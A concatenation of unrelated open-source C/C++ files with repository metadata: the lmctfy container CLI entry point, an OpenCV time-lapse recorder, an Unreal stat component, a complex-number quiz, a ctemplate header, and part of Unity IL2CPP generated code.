#include "lmctfy/cli/commands/init.h"
#include "lmctfy/cli/commands/killall.h"
#include "lmctfy/cli/commands/list.h"
#include "lmctfy/cli/commands/notify.h"
#include "lmctfy/cli/commands/pause.h"
#include "lmctfy/cli/commands/resume.h"
#include "lmctfy/cli/commands/run.h"
#include "lmctfy/cli/commands/spec.h"
#include "lmctfy/cli/commands/stats.h"
#include "lmctfy/cli/commands/update.h"
#include "lmctfy/cli/output_map.h"
#include "include/lmctfy.h"
#include "strings/substitute.h"
#include "util/task/status.h"
using ::strings::Substitute;
using ::std::unique_ptr;
using ::std::vector;
using ::util::Status;
// Import some global flags.
DECLARE_bool(binarylog);
DECLARE_bool(lmctfy_binary);
DECLARE_bool(lmctfy_force);
DECLARE_bool(lmctfy_no_wait);
DECLARE_bool(lmctfy_recursive);
DECLARE_string(lmctfy_config);
// Define our app-specific command line flags.
// IMPORTANT: These flags are global across all linked components
// so make sure the flag names are unique!
DEFINE_string(lmctfy_output_style, "pairs",
"Data output style: values, long, pairs");
DEFINE_bool(lmctfy_print_cmd_tree, false, "Print the command tree");
DEFINE_bool(lmctfy_print_cmd_tree_long, false,
"Print the command tree (long)");
DEFINE_bool(lmctfy_print_help, false, "Print lmctfy help");
DEFINE_bool(lmctfy_version, false, "Print lmctfy version");
DEFINE_bool(lmctfy_version_long, false, "Print lmctfy version (long)");
namespace containers {
namespace lmctfy {
namespace cli {
// Gets the lmctfy version.
static const char *GetVersion() {
return LMCTFY_VERSION;
}
// Gets information about when/how lmctfy was built.
static string GetBuildInfo() {
return Substitute("built on $0 $1", __DATE__, __TIME__);
}
// Registers all supported commands.
static void RegisterCommands() {
RegisterCreateCommand();
RegisterDestroyCommand();
RegisterDetectCommand();
RegisterEnterCommand();
RegisterInitCommand();
RegisterKillAllCommand();
RegisterListCommands();
RegisterNotifyCommands();
RegisterRunCommand();
RegisterSpecCommand();
RegisterStatsCommand();
RegisterUpdateCommand();
RegisterPauseCommand();
RegisterResumeCommand();
}
static bool ParseShortFlags(int *argc, char ***argv) {
int new_argc = 0;
char ** new_argv = new char *[*argc];
new_argv[new_argc++] = (*argv)[0];
for (size_t i = 1; i < *argc; ++i) {
char *cur_arg = (*argv)[i];
// Keep all non-flag arguments.
if ((cur_arg[0] != '-') || (strlen(cur_arg) < 2)) {
new_argv[new_argc++] = cur_arg;
continue;
}
switch (cur_arg[1]) {
case 'b':
FLAGS_lmctfy_binary = true;
break;
case 'c':
// Fail if there is no other arg available.
if (*argc - 1 == i) {
fprintf(stderr, "Config file not specified with -c flag.\n");
return false;
}
// Copy the next value.
++i;
FLAGS_lmctfy_config = (*argv)[i];
break;
case 'f':
FLAGS_lmctfy_force = true;
break;
case 'h':
FLAGS_lmctfy_print_help = true;
break;
case 'l':
FLAGS_lmctfy_output_style = "long";
break;
case 'n':
FLAGS_lmctfy_no_wait = true;
break;
case 'p':
FLAGS_lmctfy_output_style = "pairs";
break;
case 'r':
FLAGS_lmctfy_recursive = true;
break;
case 'v':
FLAGS_lmctfy_output_style = "values";
break;
case 'V':
FLAGS_lmctfy_version = true;
break;
default:
// Not a short flag, copy the argument.
new_argv[new_argc++] = cur_arg;
break;
}
}
// Return new argc and argv.
*argc = new_argc;
*argv = new_argv;
return true;
}
static int HandleCommand(const vector<string> &args_vector) {
RegisterCommands();
// Set the global OutputMap output style.
OutputMap::Style output_style;
if (FLAGS_lmctfy_output_style == "values") {
output_style = OutputMap::STYLE_VALUES;
} else if (FLAGS_lmctfy_output_style == "pairs") {
output_style = OutputMap::STYLE_PAIRS;
} else if (FLAGS_lmctfy_output_style == "long") {
output_style = OutputMap::STYLE_LONG;
} else {
fprintf(stderr, "invalid style '%s': try 'values', 'long', or 'pairs'\n",
FLAGS_lmctfy_output_style.c_str());
return EXIT_FAILURE;
}
// Did the user ask for help?
if (FLAGS_lmctfy_print_help) {
PrintUsage(stdout, NULL);
return EXIT_SUCCESS;
}
// Did the user ask for the command tree?
if (FLAGS_lmctfy_print_cmd_tree_long || FLAGS_lmctfy_print_cmd_tree) {
// Print out the tree in requested format.
if (FLAGS_lmctfy_print_cmd_tree) {
PrintCommandTree(stdout, NULL);
} else if (FLAGS_lmctfy_print_cmd_tree_long) {
PrintCommandTreeLong(stdout, NULL);
}
return EXIT_SUCCESS;
}
// Did the user ask for version info?
if (FLAGS_lmctfy_version) {
fprintf(stdout, "lmctfy version %s\n", GetVersion());
return EXIT_SUCCESS;
} else if (FLAGS_lmctfy_version_long) {
fprintf(stdout, "lmctfy version %s %s\n", GetVersion(),
GetBuildInfo().c_str());
return EXIT_SUCCESS;
}
// Run the command.
unique_ptr<ContainerApiFactory> lmctfy_factory(
NewPermanentCallback(&ContainerApi::New));
return RunCommand(args_vector, output_style, lmctfy_factory.get())
.error_code();
}
// The main entry point from all forms of the binary.
int Main(int argc, char *argv[]) {
WallTime time_at_start = WallTime_Now();
// Do not log non-error messages to a file in the CLI at all by default.
FLAGS_minloglevel = FLAGS_stderrthreshold;
if (!ParseShortFlags(&argc, &argv)) {
return EXIT_FAILURE;
}
::google::ParseCommandLineFlags(&argc, &argv, true);
// Execute command handling logic.
vector<string> args_vector(argv, argv + argc);
int ret = HandleCommand(args_vector);
WallTime time_at_end = WallTime_Now();
LOG(INFO) << "command completed in " << (time_at_end - time_at_start)
<< " seconds";
return ret;
}
} // namespace cli
} // namespace lmctfy
} // namespace containers
|
[
"vmarmol@google.com"
] |
vmarmol@google.com
|
d9b4d1bcac1112f3d3ba7d1991ea79f27bcbab8c
|
398ce9decf087c53e76daac2851fc64cb02c35e6
|
/src/main.cpp
|
4484f2f555d0a970e99f5081aab739a6eedf3709
|
[] |
no_license
|
rich4rdmacwan/time-lapse
|
12d5315b142f15db8198300ba49672a46831c0cd
|
365db15b145a439692cc5ed759fd38a112c83ff1
|
refs/heads/master
| 2021-01-15T14:31:34.430797
| 2013-07-10T10:43:24
| 2013-07-10T10:43:24
| 32,113,370
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,899
|
cpp
|
#include <cv.h>
#include <highgui.h>
#include <iostream>
#include <time.h>
#define DEFAULT_SNAPSHOT_INTERVAL 10
int main(int argc, char* argv[]){
//Structure to hold an image
cv::Mat frame;
std::string outputFileName="out.avi";
//Reference to a video source e.g. webcam
cv::VideoCapture cap;
int prevtime=0;
bool isWebcam=false;
int interval=DEFAULT_SNAPSHOT_INTERVAL;
if(argc>1){
if(argc>=4){
outputFileName=argv[3];
}
if(argc>=3){
interval = atoi(argv[1]);
//std::cout<<interval;
if(interval<=0){
std::cout<<"Invalid snapshot interval specified. Using default"<<std::endl;
interval=DEFAULT_SNAPSHOT_INTERVAL;
}
cap.open(std::string(argv[2]));
}
if(argc==2){
interval=atoi(argv[1]);
if(interval<=0){
//Interval was not specified. Use default
std::cout<<"Using default snapshot interval of 10 seconds"<<std::endl;
interval=DEFAULT_SNAPSHOT_INTERVAL;
cap.open(std::string(argv[1]));
}
else{
cap.open(0);
isWebcam=true;
}
}
}
else{
cap.open(0);
isWebcam=true;
}
cap>>frame;
if(frame.data){
cv::VideoWriter writer(outputFileName.c_str(),CV_FOURCC('M','P','4','2'),30,frame.size(),true);
if(!writer.isOpened()){
std::cout<<"Failed to open VideoWriter!"<<std::endl;
return -1;
}
std::cout<<"Generating timelapse video. Press Esc to cancel."<<std::endl;
time_t starttime,elapsedtime;
int diff=0;
time(&starttime);
for(;;){
cap>>frame;
if(!frame.data) break;
cv::imshow("video",frame);
if(cv::waitKey(30)==27) {
break;
}
time(&elapsedtime);
diff=difftime(elapsedtime,starttime);
if(prevtime!=diff) {
//std::cout<<"Elapsed time = "<<diff<<std::endl;
if(diff%interval ==0){
//Time to save frame
std::cout<<"Elapsed time = "<<diff<<" seconds. Saving frame to video file"<<std::endl;
writer<<frame;
}
prevtime=diff;
}
}
}
else{
std::cout<<std::endl;
if(isWebcam) std::cout<<"Webcam not found!"<<std::endl;
else std::cout<<"Invalid source!"<<std::endl;
std::cout<<"Usage : timelapse [snapshotinterval=10] [video file] [outputfileName.avi=out.avi]"<<std::endl;
std::cout<<"To load the default webcam, run timelapse without an argument. If you are providing an output filename, make sure it's extension is .avi"<<std::endl;
}
}
|
[
"rich4rd.macwan@gmail.com@110c23b5-588e-debe-d4f6-f55357919466"
] |
rich4rd.macwan@gmail.com@110c23b5-588e-debe-d4f6-f55357919466
|
3ce1bf777fab65115f80cc5699f437a30d81c087
|
80c3d86a625ed58ab7dbdac0955612fc9ed08e79
|
/Source/FPS/Private/BaseStatClass.cpp
|
7b983decf8f9bb8f6b417e21ed46560fc38c66f7
|
[] |
no_license
|
metagod/UnrealFPS
|
ea36b53da23dd402813a88d0ff08a86f1df1c884
|
e48fa435ad4d37f06882982ea4d8eae90152cdbf
|
refs/heads/master
| 2022-04-01T19:40:56.061627
| 2020-01-31T00:22:47
| 2020-01-31T00:22:47
| 213,048,326
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 981
|
cpp
|
// Fill out your copyright notice in the Description page of Project Settings.
#include "FPS.h"
#include "BaseStatClass.h"
#include "Math/UnrealMathUtility.h"
// Sets default values for this component's properties
UBaseStatClass::UBaseStatClass()
{
// Set this component to be initialized when the game starts, and to be ticked every frame. You can turn these features
// off to improve performance if you don't need them.
PrimaryComponentTick.bCanEverTick = true;
// ...
}
// Called when the game starts
void UBaseStatClass::BeginPlay()
{
Super::BeginPlay();
// ...
}
// Called every frame
void UBaseStatClass::TickComponent(float DeltaTime, ELevelTick TickType, FActorComponentTickFunction* ThisTickFunction)
{
Super::TickComponent(DeltaTime, TickType, ThisTickFunction);
// ...
}
void UBaseStatClass::ModifyStat(float delta)
{
if (currentValue > 0)
{
currentValue -= delta;
currentValue = FMath::Clamp(currentValue, minStatValue, maxStatValue);
}
}
|
[
"anklit.iz.here@gmail.com"
] |
anklit.iz.here@gmail.com
|
e53592bc979d8fdd7c770411217112f603b4b688
|
364e14bb45a28a9a1d1ebd35200c7f0506fd3340
|
/LZespolone-modyfikacja/src/main.cpp
|
259085e303b7fd8dce46869602d506fcf6ee9732
|
[] |
no_license
|
KatarzynaDubiel/LZespolone
|
1e9328d2a5d3b51821b239f971094e70fdc90276
|
a2d13fea4381f69e44eb6395b0e0ad6062f21ba7
|
refs/heads/master
| 2021-03-24T08:32:57.142481
| 2020-03-30T18:53:59
| 2020-03-30T18:53:59
| 247,534,367
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,481
|
cpp
|
#include <iostream>
#include "BazaTestu.hh"
#include "WyrazenieZesp.hh"
#include "stats.hh"
using namespace std;
int main(int argc, char **argv)
{
Statystyka stats;
if (argc < 2) {
cout << endl;
cout << " Brak opcji okreslajacej rodzaj testu." << endl;
cout << " Dopuszczalne nazwy to: latwy, trudny." << endl;
cout << endl;
return 1;
}
BazaTestu BazaT = { nullptr, 0, 0 };
if (InicjalizujTest(&BazaT,argv[1]) == false) {
cerr << " Inicjalizacja testu nie powiodla sie." << endl;
return 1;
}
cout << endl;
cout << " Start testu arytmetyki zespolonej: " << argv[1] << endl;
cout << endl;
WyrazenieZesp WyrZ_PytanieTestowe;
while (PobierzNastpnePytanie(&BazaT,&WyrZ_PytanieTestowe)) {
char znaczek;//rozpoznawanie znaku dzialania aby wybrac jego reprezentacje
switch(WyrZ_PytanieTestowe.Op){
case 0:
znaczek='+';
break;
case 1:
znaczek='-';
break;
case 2:
znaczek='*';
break;
case 3:
znaczek='/';
break;
case 4:
znaczek='%';
break;
}
stats.LWszystkichOdp++;
std::cout << ":? Podaj wynik operacji: (" << WyrZ_PytanieTestowe.Arg1.re << "+" << WyrZ_PytanieTestowe.Arg1.im << "i)"<<znaczek<<"(" << WyrZ_PytanieTestowe.Arg2.re << "+" << WyrZ_PytanieTestowe.Arg2.im << "i)=" << std::endl;
LZespolona odpowiedzUzytkownika;
std::cout << " Twoja odpowiedz: ";
for(int i=0; i<3; i++){
std::cin >> odpowiedzUzytkownika;
if(cin.fail()){
std::cout<<std::endl<<" Blad zapisu liczby zespolonej. Sprobuj jeszcze raz."<<std::endl;
cin.clear();//czyszczenie strumienia wczytywania
cin.ignore(1000, '\n');//ignorowanie znakow
cout<<" ";
}
else break;
}
if (odpowiedzUzytkownika == Oblicz(WyrZ_PytanieTestowe)){
stats.PoprOdp++;
std::cout<<":) Odpowiedz poprawna"<<std::endl<<std::endl;
}
else{
std::cerr<<":( Blad. Prawidlowym wynikiem jest: "<<Oblicz(WyrZ_PytanieTestowe)<<std::endl<<std::endl;
}
}
std::cout<<"Ilosc dobrych odpowiedzi: "<<stats.PoprOdp<<std::endl;
std::cout<<"Ilosc blednych odpowiedzi: "<<stats.LWszystkichOdp-stats.PoprOdp<<std::endl;
std::cout<<"Wynik procentowy poprawnych odpowiedzi: "<< (stats.PoprOdp/stats.LWszystkichOdp)*100<<"%"<<std::endl;
std::cout << std::endl;
std::cout << " Koniec testu" << std::endl;
std::cout << std::endl;
}
|
[
"noreply@github.com"
] |
KatarzynaDubiel.noreply@github.com
|
2f6adc0551d8369be2ddedcbf508157bc580bb50
|
f1f1ccfa558fd0f0f80bd8b180b4d8f3e300a880
|
/metamorphosys/META/3rdParty/ctemplate-1.0/src/indented_writer.h
|
b16d9cfb315e09ed5117d068723e125ad9ccaac6
|
[
"LicenseRef-scancode-other-permissive",
"MIT",
"BSD-3-Clause"
] |
permissive
|
pombreda/metamorphosys-desktop
|
58afdbe696bcddb0c8c84598ed25c28b08d3ba95
|
cfc87a9a3476e94faa96080d57a474860a3ffcca
|
refs/heads/master
| 2021-01-21T03:44:21.775196
| 2015-01-15T01:04:11
| 2015-01-15T01:04:11
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 4,897
|
h
|
// Copyright (c) 2009, Google Inc.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
// ---
// Author: williasr@google.com (Scott Williams)
#ifndef TEMPLATE_INDENTED_WRITER_H_
#define TEMPLATE_INDENTED_WRITER_H_
#include <config.h>
#include <string>
_START_GOOGLE_NAMESPACE_
using std::string;
// An indented writer is a wrapper around a string buffer. It takes care of
// tracking and applying leading whitespace to the buffer at the beginning of
// new lines.
class IndentedWriter {
public:
IndentedWriter(string* out, int starting_indentation)
: out_(out), current_indentation_(starting_indentation),
original_indentation_(starting_indentation), line_state_(AT_BEGINNING) { }
~IndentedWriter() {
assert(original_indentation_ == current_indentation_);
}
// Append some output to the buffer. If the string ends with a newline, then
// the output buffer will be indented before the next Write() call. If the
// output contains embedded newlines, these won't have proper indentation, so
// call Write() at least once per physical line of output.
void Write(string s1,
string s2 = string(),
string s3 = string(),
string s4 = string(),
string s5 = string(),
string s6 = string(),
string s7 = string()) {
DoWrite(s1);
if (!s2.empty()) DoWrite(s2);
if (!s3.empty()) DoWrite(s3);
if (!s4.empty()) DoWrite(s4);
if (!s5.empty()) DoWrite(s5);
if (!s6.empty()) DoWrite(s6);
if (!s7.empty()) DoWrite(s7);
}
// Increment the indentation level. This only has a meaning after outputting a
// complete line (otherwise, are you saying you want to modify the indentation
// of the current line or the next line?)
void Indent() {
assert(line_state_ == AT_BEGINNING);
current_indentation_ += kIndent;
}
// Decrement the indentation level. This only has a meaning after outputting a
// complete line (otherwise, are you saying you want to modify the indentation
// of the current line or the next line?)
void Dedent() {
assert(line_state_ == AT_BEGINNING);
current_indentation_ -= kIndent;
assert(current_indentation_ >= original_indentation_);
}
// Get access to the underlying indentation level and string buffer. Most
// useful for interfacing with non-IndentedWriter printing code.
int GetIndent() const { return current_indentation_; }
string* GetBuffer() { return out_; }
private:
void DoWrite(const string& line) {
if (line_state_ == AT_BEGINNING) {
IndentLine();
}
out_->append(line);
if (EndsWithNewline(line)) {
line_state_ = AT_BEGINNING;
} else {
line_state_ = MID_LINE;
}
}
static bool EndsWithNewline(const string& line) {
return !line.empty() && (*(line.end() - 1) == '\n');
}
void IndentLine() {
assert(line_state_ == AT_BEGINNING);
out_->append(string(current_indentation_, ' ') +
(current_indentation_ ? " " : ""));
}
string* out_;
int current_indentation_;
int original_indentation_;
enum LineState {
AT_BEGINNING,
MID_LINE
} line_state_;
const static int kIndent = 2; // num spaces to indent each level
};
_END_GOOGLE_NAMESPACE_
#endif // TEMPLATE_INDENTED_WRITER_H_
|
[
"adam.nagel+git@gmail.com"
] |
adam.nagel+git@gmail.com
|
27f09c653e997f6256d3610fb8ecf6dc52ec7b02
|
3279103bf8ddbe67dd01c9fd2b90159d339f30be
|
/GCD/Library/Il2cppBuildCache/Windows/x64/il2cppOutput/UnityEngine.AnimationModule_Attr.cpp
|
3ebede94741e2f9086b250bf7b79dc5e3bc75736
|
[] |
no_license
|
aa2903/YEET-GE1
|
4214ffb0012d4badee5222d1455b235841106308
|
ebf2c9ac447e284d3f8e6f03b209de772b4dbe67
|
refs/heads/main
| 2023-04-12T13:07:21.727909
| 2021-04-28T13:57:20
| 2021-04-28T13:57:20
| 351,062,495
| 1
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 172,167
|
cpp
|
#include "pch-cpp.hpp"
#ifndef _MSC_VER
# include <alloca.h>
#else
# include <malloc.h>
#endif
#include <limits>
#include <stdint.h>
// System.Char[]
struct CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34;
// System.AttributeUsageAttribute
struct AttributeUsageAttribute_tBB0BAAA82036E6FCDD80A688BBD039F6FFD8EA1C;
// System.Runtime.CompilerServices.CompilationRelaxationsAttribute
struct CompilationRelaxationsAttribute_t661FDDC06629BDA607A42BD660944F039FE03AFF;
// System.Diagnostics.DebuggableAttribute
struct DebuggableAttribute_tA8054EBD0FC7511695D494B690B5771658E3191B;
// System.Reflection.DefaultMemberAttribute
struct DefaultMemberAttribute_t8C9B3330DEA69EE364962477FF14FD2CFE30D4B5;
// UnityEngine.ExcludeFromObjectFactoryAttribute
struct ExcludeFromObjectFactoryAttribute_t76EEA428CB04C23B2844EB37275816B16C847271;
// System.Runtime.CompilerServices.ExtensionAttribute
struct ExtensionAttribute_t917F3F92E717DC8B2D7BC03967A9790B1B8EF7CC;
// UnityEngine.Bindings.FreeFunctionAttribute
struct FreeFunctionAttribute_tBB3B939D760190FEC84762F1BA94B99672613D03;
// System.Runtime.CompilerServices.InternalsVisibleToAttribute
struct InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C;
// UnityEngine.Scripting.APIUpdating.MovedFromAttribute
struct MovedFromAttribute_t7DFA9E51FA9540D9D5EB8D41E363D2BC51F43BC8;
// UnityEngine.Bindings.NativeConditionalAttribute
struct NativeConditionalAttribute_t659349956F06958D4D05443BD06FF5CDC767C88B;
// UnityEngine.Bindings.NativeHeaderAttribute
struct NativeHeaderAttribute_t7F0E4B53790AA75CDB4C44E6D644267F8FE3066C;
// UnityEngine.Bindings.NativeMethodAttribute
struct NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866;
// UnityEngine.Bindings.NativeNameAttribute
struct NativeNameAttribute_tCEF3726869BD5ADC4600DDAC8DF0D4B5AAAF65F7;
// UnityEngine.Bindings.NativeTypeAttribute
struct NativeTypeAttribute_t7A71B541B18D0BA1A9889E05D36CAC56CF9F48D9;
// UnityEngine.Scripting.RequiredByNativeCodeAttribute
struct RequiredByNativeCodeAttribute_t855401D3C2EF3B44F4F1C3EE2DCD361CFC358D20;
// System.Runtime.CompilerServices.RuntimeCompatibilityAttribute
struct RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80;
// UnityEngine.Bindings.StaticAccessorAttribute
struct StaticAccessorAttribute_t7A16FF0FA31E38510BBC8BCA5AE56C3E67D5A2BA;
// System.String
struct String_t;
// UnityEngine.UnityEngineModuleAssembly
struct UnityEngineModuleAssembly_t33CB058FDDDC458E384578147D6027BB1EC86CFF;
// UnityEngine.Scripting.UsedByNativeCodeAttribute
struct UsedByNativeCodeAttribute_t604CF4E57FB3E7BCCCF0871A9B526472B2CDCB92;
IL2CPP_EXTERN_C_BEGIN
IL2CPP_EXTERN_C_END
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
// System.Object
// System.Attribute
struct Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71 : public RuntimeObject
{
public:
public:
};
// System.String
struct String_t : public RuntimeObject
{
public:
// System.Int32 System.String::m_stringLength
int32_t ___m_stringLength_0;
// System.Char System.String::m_firstChar
Il2CppChar ___m_firstChar_1;
public:
inline static int32_t get_offset_of_m_stringLength_0() { return static_cast<int32_t>(offsetof(String_t, ___m_stringLength_0)); }
inline int32_t get_m_stringLength_0() const { return ___m_stringLength_0; }
inline int32_t* get_address_of_m_stringLength_0() { return &___m_stringLength_0; }
inline void set_m_stringLength_0(int32_t value)
{
___m_stringLength_0 = value;
}
inline static int32_t get_offset_of_m_firstChar_1() { return static_cast<int32_t>(offsetof(String_t, ___m_firstChar_1)); }
inline Il2CppChar get_m_firstChar_1() const { return ___m_firstChar_1; }
inline Il2CppChar* get_address_of_m_firstChar_1() { return &___m_firstChar_1; }
inline void set_m_firstChar_1(Il2CppChar value)
{
___m_firstChar_1 = value;
}
};
struct String_t_StaticFields
{
public:
// System.String System.String::Empty
String_t* ___Empty_5;
public:
inline static int32_t get_offset_of_Empty_5() { return static_cast<int32_t>(offsetof(String_t_StaticFields, ___Empty_5)); }
inline String_t* get_Empty_5() const { return ___Empty_5; }
inline String_t** get_address_of_Empty_5() { return &___Empty_5; }
inline void set_Empty_5(String_t* value)
{
___Empty_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&___Empty_5), (void*)value);
}
};
// System.ValueType
struct ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52 : public RuntimeObject
{
public:
public:
};
// Native definition for P/Invoke marshalling of System.ValueType
struct ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52_marshaled_pinvoke
{
};
// Native definition for COM marshalling of System.ValueType
struct ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52_marshaled_com
{
};
// System.Boolean
struct Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37
{
public:
// System.Boolean System.Boolean::m_value
bool ___m_value_0;
public:
inline static int32_t get_offset_of_m_value_0() { return static_cast<int32_t>(offsetof(Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37, ___m_value_0)); }
inline bool get_m_value_0() const { return ___m_value_0; }
inline bool* get_address_of_m_value_0() { return &___m_value_0; }
inline void set_m_value_0(bool value)
{
___m_value_0 = value;
}
};
struct Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37_StaticFields
{
public:
// System.String System.Boolean::TrueString
String_t* ___TrueString_5;
// System.String System.Boolean::FalseString
String_t* ___FalseString_6;
public:
inline static int32_t get_offset_of_TrueString_5() { return static_cast<int32_t>(offsetof(Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37_StaticFields, ___TrueString_5)); }
inline String_t* get_TrueString_5() const { return ___TrueString_5; }
inline String_t** get_address_of_TrueString_5() { return &___TrueString_5; }
inline void set_TrueString_5(String_t* value)
{
___TrueString_5 = value;
Il2CppCodeGenWriteBarrier((void**)(&___TrueString_5), (void*)value);
}
inline static int32_t get_offset_of_FalseString_6() { return static_cast<int32_t>(offsetof(Boolean_t07D1E3F34E4813023D64F584DFF7B34C9D922F37_StaticFields, ___FalseString_6)); }
inline String_t* get_FalseString_6() const { return ___FalseString_6; }
inline String_t** get_address_of_FalseString_6() { return &___FalseString_6; }
inline void set_FalseString_6(String_t* value)
{
___FalseString_6 = value;
Il2CppCodeGenWriteBarrier((void**)(&___FalseString_6), (void*)value);
}
};
// System.Runtime.CompilerServices.CompilationRelaxationsAttribute
struct CompilationRelaxationsAttribute_t661FDDC06629BDA607A42BD660944F039FE03AFF : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.Int32 System.Runtime.CompilerServices.CompilationRelaxationsAttribute::m_relaxations
int32_t ___m_relaxations_0;
public:
inline static int32_t get_offset_of_m_relaxations_0() { return static_cast<int32_t>(offsetof(CompilationRelaxationsAttribute_t661FDDC06629BDA607A42BD660944F039FE03AFF, ___m_relaxations_0)); }
inline int32_t get_m_relaxations_0() const { return ___m_relaxations_0; }
inline int32_t* get_address_of_m_relaxations_0() { return &___m_relaxations_0; }
inline void set_m_relaxations_0(int32_t value)
{
___m_relaxations_0 = value;
}
};
// System.Reflection.DefaultMemberAttribute
struct DefaultMemberAttribute_t8C9B3330DEA69EE364962477FF14FD2CFE30D4B5 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String System.Reflection.DefaultMemberAttribute::m_memberName
String_t* ___m_memberName_0;
public:
inline static int32_t get_offset_of_m_memberName_0() { return static_cast<int32_t>(offsetof(DefaultMemberAttribute_t8C9B3330DEA69EE364962477FF14FD2CFE30D4B5, ___m_memberName_0)); }
inline String_t* get_m_memberName_0() const { return ___m_memberName_0; }
inline String_t** get_address_of_m_memberName_0() { return &___m_memberName_0; }
inline void set_m_memberName_0(String_t* value)
{
___m_memberName_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___m_memberName_0), (void*)value);
}
};
// System.Enum
struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA : public ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52
{
public:
public:
};
struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA_StaticFields
{
public:
// System.Char[] System.Enum::enumSeperatorCharArray
CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34* ___enumSeperatorCharArray_0;
public:
inline static int32_t get_offset_of_enumSeperatorCharArray_0() { return static_cast<int32_t>(offsetof(Enum_t23B90B40F60E677A8025267341651C94AE079CDA_StaticFields, ___enumSeperatorCharArray_0)); }
inline CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34* get_enumSeperatorCharArray_0() const { return ___enumSeperatorCharArray_0; }
inline CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34** get_address_of_enumSeperatorCharArray_0() { return &___enumSeperatorCharArray_0; }
inline void set_enumSeperatorCharArray_0(CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34* value)
{
___enumSeperatorCharArray_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&___enumSeperatorCharArray_0), (void*)value);
}
};
// Native definition for P/Invoke marshalling of System.Enum
struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA_marshaled_pinvoke
{
};
// Native definition for COM marshalling of System.Enum
struct Enum_t23B90B40F60E677A8025267341651C94AE079CDA_marshaled_com
{
};
// UnityEngine.ExcludeFromObjectFactoryAttribute
struct ExcludeFromObjectFactoryAttribute_t76EEA428CB04C23B2844EB37275816B16C847271 : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
public:
};
// System.Runtime.CompilerServices.ExtensionAttribute
struct ExtensionAttribute_t917F3F92E717DC8B2D7BC03967A9790B1B8EF7CC : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
public:
};
// System.Runtime.CompilerServices.InternalsVisibleToAttribute
struct InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C : public Attribute_t037CA9D9F3B742C063DB364D2EEBBF9FC5772C71
{
public:
// System.String System.Runtime.CompilerServices.InternalsVisibleToAttribute::_assemblyName
String_t* ____assemblyName_0;
// System.Boolean System.Runtime.CompilerServices.InternalsVisibleToAttribute::_allInternalsVisible
bool ____allInternalsVisible_1;
public:
inline static int32_t get_offset_of__assemblyName_0() { return static_cast<int32_t>(offsetof(InternalsVisibleToAttribute_t1D9772A02892BAC440952F880A43C257E6C3E68C, ____assemblyName_0)); }
inline String_t* get__assemblyName_0() const { return ____assemblyName_0; }
inline String_t** get_address_of__assemblyName_0() { return &____assemblyName_0; }
inline void set__assemblyName_0(String_t* value)
{
____assemblyName_0 = value;
Il2CppCodeGenWriteBarrier((void**)(&____assemblyName_0), (void*)value);
}
